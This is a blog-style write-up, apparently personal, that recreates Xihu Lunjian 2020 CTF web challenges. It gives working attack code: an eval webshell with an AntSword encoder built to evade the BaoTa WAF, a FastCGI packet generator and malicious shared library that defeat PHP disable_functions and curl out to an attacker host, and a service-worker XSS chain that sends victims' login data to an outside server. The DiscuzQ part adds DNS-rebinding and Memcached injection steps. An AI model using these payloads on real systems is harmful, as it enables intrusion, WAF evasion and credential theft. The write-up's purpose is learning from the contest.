西湖论剑Web复现

西湖论剑Web复现

西湖论剑

2020-10-22 17:34:10更新

最终还是复现完了DiscuzQ,真的从中学到了很多,也进一步的认识到自己是个菜鸡。感谢赵总!


不得不说,西湖论剑题目质量是真的顶,一个绕宝塔,一个blackhat议题的升华,一个webpwn,一个service worker。感觉感觉每一个都是我知识的盲区,感觉从复现中学到了很多姿势。记录一下从此比赛中学到的一些知识,话不多说进入正题。

AntSword编码器

在Newupload中,为了让shell绕过宝塔的waf所以这里,所以我把参数进行了base64编码,但是不知道为啥,蚁剑自带的不太行。所以稍微改动了一下过去了。

这里谈几种,学到的编码器姿势。

url全编码

1
2
3
4
5
<?php

eval(urldecode(urldecode(urldecode($_POST['mrkaixin']))));

?>

image-20201013211806662

首先整一个如上的马。然后我们用蚁剑来连这个马。

由于是本地复现的不太好抓包,(如果是本地的话,好像不能走burp,如果有啥姿势,求告诉。

我们用wireshark来抓一下流量,可以看到这里的流量虽然是被urlencode了一次,但是如果在宝塔上去尝试的话,是无法绕过waf的。

image-20201013212703740

这里我们可以写一个编码器,然后利用3次全编码,则可以绕过宝塔的waf。

这里给出全编码的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
'use strict';

/*
* @param {String} pwd 连接密码
* @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
// ########## 请在下方编写你自己的代码 ###################
function urlEncode(e, r) {
return ++r ? "%" + ([10] + e.charCodeAt().toString(16)).slice(-2) : decodeURI(encodeURIComponent(e)).replace(/[^]/g, urlEncode)
}
data[pwd]=urlEncode(urlEncode(data['_']));
// ########## 请在上方编写你自己的代码 ###################

// 删除 _ 原有的payload
delete data['_'];
// 返回编码器处理后的 payload 数组
return data;
}

这里可以看到,其实这里我只做了两次urlencode,这是因为再蚁剑发包的时候,会固定吧payload进行一次urlencode,所以加上那一次,总共做了3次。

有很多师傅,在做题的时候是使用base64的编码器,但是会发现,在本地的宝塔可能可以打通,但是已到远程就发现打不通了。也有可能是网络的原因。

通过利用php-cgi.sock绕过disable_function

我这里的环境是:

ubuntu:18.08

nginx,php7.2-fpm

配置复现环境

首先通过

1
apt-get install php7.2-mysql php7.2-fpm php7.2-curl php7.2-xml php7.2-gd php7.2-mbstring php-memcached php7.2-zip

安装好php以及php-fpm。这里我选用的是7.2的版本,其实可以更高,更加符合题目环境,但是原理应该是相通的。最后我用docker测试了下7.4.11下也是完全可以的。

然后在使用apt install nginx安装好nginx,安装完之后,修改/etc/nginx/sites-enabled/default中的配置,我的配置如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
server {
listen 80 default_server;
server_name localhost;
root /var/mrkaixin; # 这里修改为自己的web目录
index index.php index.html index.htm;
location / {
index index.php;
autoindex on;
}
location ~\.php$ {
try_files $uri = 404;
fastcgi_pass unix:/run/php/php7.2-fpm.sock;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
}
}

依次执行以下命令

1
2
3
4
5
6
7
8
9
service nginx start

service php7.2-fpm start

chmod 777 /run/php/php7.2-fpm.sock

// 这里php.ini是在/etc/php/7.2/fpm/php.ini,所以可以配置一下disable_functions
vim /etc/php/7.2/fpm/php.ini
// 找到disable_function加入system即可

利用

其实这个点在*ctf0ctf中就有出现,后来的wmctf和这次的西湖论剑也有出现。

这里主要还是讲一下具体是怎么绕过disable_function的,至于具体的fastcgi协议,以及exp的分析,就不再过多涉及。

这里对 p师傅的脚本进行修改,让其不自动发包,而是把要发送的包,转成base64输出出来。

修改后的脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
import socket
import base64
import random
import argparse
import sys
from io import BytesIO
from six.moves.urllib import parse as urlparse
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
PY2 = True if sys.version_info.major == 2 else False
def bchr(i):
if PY2:
return force_bytes(chr(i))
else:
return bytes([i])
def bord(c):
if isinstance(c, int):
return c
else:
return ord(c)
def force_bytes(s):
if isinstance(s, bytes):
return s
else:
return s.encode('utf-8', 'strict')
def force_text(s):
if issubclass(type(s), str):
return s
if isinstance(s, bytes):
s = str(s, 'utf-8', 'strict')
else:
s = str(s)
return s
class FastCGIClient:
"""A Fast-CGI Client for Python"""
# private
__FCGI_VERSION = 1
__FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3
__FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11
__FCGI_HEADER_SIZE = 8
# request state
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3
def __init__(self, host, port, timeout, keepalive):
self.host = host
self.port = port
self.timeout = timeout
if keepalive:
self.keepalive = 1
else:
self.keepalive = 0
self.sock = None
self.requests = dict()
def __connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# if self.keepalive:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
# else:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
try:
self.sock.connect((self.host, int(self.port)))
except socket.error as msg:
self.sock.close()
self.sock = None
print(repr(msg))
return False
return True
def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
length = len(content)
buf = bchr(FastCGIClient.__FCGI_VERSION) \
+ bchr(fcgi_type) \
+ bchr((requestid >> 8) & 0xFF) \
+ bchr(requestid & 0xFF) \
+ bchr((length >> 8) & 0xFF) \
+ bchr(length & 0xFF) \
+ bchr(0) \
+ bchr(0) \
+ content
return buf
def __encodeNameValueParams(self, name, value):
nLen = len(name)
vLen = len(value)
record = b''
if nLen < 128:
record += bchr(nLen)
else:
record += bchr((nLen >> 24) | 0x80) \
+ bchr((nLen >> 16) & 0xFF) \
+ bchr((nLen >> 8) & 0xFF) \
+ bchr(nLen & 0xFF)
if vLen < 128:
record += bchr(vLen)
else:
record += bchr((vLen >> 24) | 0x80) \
+ bchr((vLen >> 16) & 0xFF) \
+ bchr((vLen >> 8) & 0xFF) \
+ bchr(vLen & 0xFF)
return record + name + value
def __decodeFastCGIHeader(self, stream):
header = dict()
header['version'] = bord(stream[0])
header['type'] = bord(stream[1])
header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
header['paddingLength'] = bord(stream[6])
header['reserved'] = bord(stream[7])
return header
def __decodeFastCGIRecord(self, buffer):
header = buffer.read(int(self.__FCGI_HEADER_SIZE))
if not header:
return False
else:
record = self.__decodeFastCGIHeader(header)
record['content'] = b''

if 'contentLength' in record.keys():
contentLength = int(record['contentLength'])
record['content'] += buffer.read(contentLength)
if 'paddingLength' in record.keys():
skiped = buffer.read(int(record['paddingLength']))
return record
def request(self, nameValuePairs={}, post=''):
# if not self.__connect():
# print('connect failure! please check your fasctcgi-server !!')
# return
requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = b""
beginFCGIRecordContent = bchr(0) \
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
+ bchr(self.keepalive) \
+ bchr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b''
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = force_bytes(value)
paramsRecord += self.__encodeNameValueParams(name, value)
if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
return request
# 以下是原脚本发包的过程
# self.sock.send(request)
# self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
# self.requests[requestId]['response'] = b''
# return self.__waitForResponse(requestId)
def __waitForResponse(self, requestId):
data = b''
while True:
buf = self.sock.recv(512)
if not len(buf):
break
data += buf
data = BytesIO(data)
while True:
response = self.__decodeFastCGIRecord(data)
if not response:
break
if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
if requestId == int(response['requestId']):
self.requests[requestId]['response'] += response['content']
if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
self.requests[requestId]
return self.requests[requestId]['response']
def __repr__(self):
return "fastcgi connect host:{} port:{}".format(self.host, self.port)
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
parser.add_argument('host', help='Target host, such as 127.0.0.1')
parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)
args = parser.parse_args()
client = FastCGIClient(args.host, args.port, 3, 0)
params = dict()
documentRoot = "/"
uri = args.file
content = args.code
params = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
'SCRIPT_NAME': uri,
'QUERY_STRING': '',
'REQUEST_URI': uri,
'DOCUMENT_ROOT': documentRoot,
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '9985',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1',
'CONTENT_TYPE': 'application/text',
'CONTENT_LENGTH': "%d" % len(content),
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On',
'PHP_ADMIN_VALUE':'extension=/tmp/mrkaixin.so' # 调用自己的共享库
}
response = client.request(params, content)
# base64
result = base64.encodebytes(response).strip().decode('utf-8')
print(result)
# urlencde 下面两行是urlencde
#response = urlparse.quote(response)
#print(response)

这个脚本的目的,是生成可以一个fastcgi通信协议的包。具体的利用还是要对sock直接发起ssrf来,利用php-cgi.sock来执行php代码,然后其利用fastcgi协议,在执行php文件的时候(所以需要web目录下有一个php文件),把php://input中的内容,也当成是文件的一部分。然后调用*.so共享库文件,来绕过disable_function

所以这个时候,我们编写以下mrkaixin.so,这里我让服务器curl我的vps,来代替题目里面执行readflag

1
2
3
4
5
6
7
8
9
10
#define _GNU_SOURCE

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void)
{
system("curl ip:4444");
}

然后执行以下命令生成mrkaixin.so文件

1
2
gcc -c -fPIC mrkaixin.c -o mrkaixin
gcc --share mrkaixin -o mrkaixin.so

之后,假设我们现在已经拿到shell了,但是存在df,需要我们去绕过,我们可以先写一个如下文件。其作用是,直接与sock协议,然后把我们fastClient的包直接发送给sock去执行。

1
2
3
4
5
6
//a.php
<?php
$sock=stream_socket_client('unix:///run/php/php7.2-fpm.sock');
fputs($sock, base64_decode($_GET['A']));
var_dump(fread($sock, 4096));
?>

然后把我们的so文件丢到服务器上,然后执行以下命令,来生成我们的fastcgiClient

1
2
# python3 文件名 ip(127.0.0.1) web目录下的一个文件 -c 要执行的代码
python3 fastcgi.py 127.0.0.1 /var/mrkaixin/index.php -c "<?php system('id');exit;?>"

然后拿着这串base64去a.php打一下试试,并且vps监听一下4444端口。

image-20201015163931136

这里可以看到完美绕过

参考链接:

*(star)CTF2019 有关两道Web的解释说明

ubuntu安装php7.2,php-fpmubuntu部署]_赵克立博客_技术栈 (zhaokeli.com)

Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写 | 离别歌 (leavesongs.com)

2019 starctf writeup (zeroyu.xyz)

浅析php-fpm的攻击方式 - 先知社区 (aliyun.com)

service worker

service worker是一个服务器和客户端之间的一个东西,可以缓存离线资源。具体是啥这里就不在赘述了,可以看看这篇文章

这里有一篇很详细的文章,讲了一下service worker的利用,XSS With Service Worker

而这次西湖论剑上的hardxss正好对应了这个文章的最后一个小结,这里把对应的部分截取了下来.

image-20201015203054158

其实根据这个文章已经可以差不多掌握service worker的利用了。所以以下就针对hard xss这个题目写个wp吧。

hardxss

在题目登录页面,点击登录之后,发现跳转到了另一个域名中。

登录页面

跳转

f12观察xss域名下的这个/login的源码 ,可以找到如下的js片段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
callback = "get_user_login_status";
auto_reg_var();
if(typeof(jump_url) == "undefined" || /^\//.test(jump_url)){
jump_url = "/";
}
jsonp("https://auth.hardxss.xhlj.wetolink.com/api/loginStatus?callback=" + callback,function(result){
if(result['status']){
location.href = jump_url;
}
})
function jsonp(url, success) {
var script = document.createElement("script");
if(url.indexOf("callback") < 0){
var funName = 'callback_' + Date.now() + Math.random().toString().substr(2, 5);
url = url + "?" + "callback=" + funName;
}else{
var funName = callback;
}
window[funName] = function(data) {
success(data);
delete window[funName];
document.body.removeChild(script);
}
script.src = url;
document.body.appendChild(script);
}
function auto_reg_var(){
var search = location.search.slice(1);
var search_arr = search.split('&');
for(var i = 0;i < search_arr.length; i++){
[key,value] = search_arr[i].split("=");
window[key] = value;
}
}

这里其实可以看到,在auth域名下存在一个jsonp的回调函数点。并且在auto_reg_var();函数中,获取了url?以后的值,并且设置为变量,所以这里callback这个变量也是完全可控的了。我们试一下直接xss

xss

虽然这里已经可以xss了,但是整个输入密码的验证的过程在auth子域名下。所以单纯在xss这个域名下,是无法获取到验证的信息的。

根据之前文章中所说,我们可以通过嵌入一个iframe标签,然后来给auth域名下的网站注册一个service worker,在通过劫持其fetch事件,就可以在auth域名xss

简单分析一下整个利用的过程吧,首先可以一开始可以通过控制xss这个域名下的callback 然后利用jsonp()这个函数,去加载远程服务器上的js,为的是在页面上加载一个iframe标签,然后给auth注册一个service woker。然后利用web wokerimportScripts这个方法,加载远程的js来设置service woker需要监听的事件,为的是当提交请求这个事件发生的时候,触发我们自定义的xss代码,然后把密码账号发送到我们自己的服务器上。

我们可以利用https://repl.it/ 这个网站,起一个php web server,这样我们就有了个免费的https的域名。

我们可以通过以下代码注册一个service worker

1
2
3
4
5
6
7
8
9
10
11
12
// index.js
document.domain = "hardxss.xhlj.wetolink.com";
var iframe =document.createElement("iframe");
document.body.appendChild(iframe);
iframe.setAttribute('src','https://auth.hardxss.xhlj.wetolink.com/');

// 以下操作是为了给`auth`域名下注册一个`service woker`
iframe.addEventListener("load", function(){ test(); });
var exp=`navigator.serviceWorker.register("/api/loginStatus?callback=importScripts('//a.mrkaixin.repl.co/a.js');//")`
function test(){
iframe.contentWindow.eval(exp);
}

加载iframe标签

image-20201015212624647

并且设置好了service worker

注册完之后,我们可以在a.js写入以下代码,来控制其事件

1
2
3
4
5
6
7
8
9
10
11
12
13
// a.js
this.addEventListener('install', function (event) {
console.log('service worker install!');
});

this.addEventListener('fetch', function (event) {
var url = event.request.clone();
console.log('url: ', url);
var body = '<script>window.open("http://ip:5555?test="+location.search)</script>';
var init = {headers: {"Content-Type": "text/html"}};
var res = new Response(body, init);
event.respondWith(res.clone());
});

跑一下MD5,然后把带有exp的发送给管理员即可收到flag

1
https://xss.hardxss.xhlj.wetolink.com/login?callback=jsonp(%22//a.mrkaixin.repl.co/index.js%22);//

然后

DiscuzQ

这题基本上是照着赵师傅的wp,一步步复现的,赵师傅的wp写的非常的详细了,基本上面面俱到了(膜

这题目一部分难点就在如何搭环境,这个环境来来回回搭了我两三天(我是废物),所以这里之侧重于环境的一个搭建。具体的内容细节还是去看赵师傅的文章吧。

基于 A 和 AAAA 记录的一种新 DNS Rebinding 姿势–从西湖论剑2020 Web HelloDiscuzQ 题对 Blackhat 上的议题做升华 – 赵 (zhaoj.in)

部署tls恶意服务器

这里直接使用赵师傅的这个就可以了 https://github.com/glzjin/tlslite-ng

image-20201022164930529

域名我使用的是dnspond,用阿里云的发现好像AAAA记录老是显示报错,所以换成了腾讯云的。证书和私钥直接申请一个免费的,然后在下载下来即可,这里我选择的是Nginx配对的证书

这里AAAA记录指向的是127.0.0.1,变成ipv6就是0:0:0:0:0:ffff:7f00:1

A记录则是你本地的ip

域名配置

这里需要修改的文件有scripts/tls.py

修改成同域名

这里把Location设置成自己的域名即可

然后再把我们域名上传到服务器中,放到test的目录里

上传证书和私钥并且修改名字

然后运行./httpsserver.sh即可

运行httpsserver

然后再使用赵师傅的代理的那个脚本即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
# coding=utf-8

import socket
import threading

source_host = '127.0.0.1'
source_port = 11210

desc_host = '0.0.0.0'
desc_port = 11211

def send(sender, recver):
while 1:
try:
data = sender.recv(2048)
except:
break
print "recv error"

try:
recver.sendall(data)
except:
break
print "send error"
sender.close()
recver.close()

def proxy(client):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.connect((source_host, source_port))
threading.Thread(target=send, args=(client, server)).start()
threading.Thread(target=send, args=(server, client)).start()

def main():
proxy_server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
proxy_server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
proxy_server.bind((desc_host, desc_port))
proxy_server.listen(50)

print "Proxying from %s:%s to %s:%s ..."%(source_host, source_port, desc_host, desc_port)

conn, addr = proxy_server.accept()
print "received connect from %s:%s"%(addr[0], addr[1])
threading.Thread(target=proxy, args=(conn, )).start()

if __name__ == '__main__':
main()

使用python2 proxy.py把代理挂上,代理的作用就是302跳转回来的时候,断开连接,使得请求失败,然后curl会自动解析AAAA下的域名,顺带提一句:AAAAA是可以互换的

开启代理

搭好之后我们本地测试一下:

1
curl -v -L https://xxx.xxx:11211

DiscusQ

到这一步,如果可以看到可控的sessionId基本上就已经离成功只剩最后一步了。

开打

打的时候,可能会爆一个错,多打一下就好了,实在不行就把服务器换成国内的。

通过不断利用TLSSESSIONID来把key-value键值对写到Memcache服务器中,由于SESSIONID长度的限制,所以慢慢打吧。

1
2
set 10.20.124.208
../../wwwroot/10.20.124.208/public/a.php\x00

然后触发宝塔的waf,把我们的shell写入到我们指定的文件中去。

这里吧payload写到了header中

最后通过https://ssd-disclosure.com/ssd-advisory-php-spldoublylinkedlist-uaf-sandbox-escape/这个的`SplDoublyLinkedList`的反序列化导致直接绕过`disable_functions`

得到flag

getflag

后记

glzjin ,yyds!

# 推荐文章

评论


:D 一言句子获取中...

加载中,最新评论有1分钟延迟...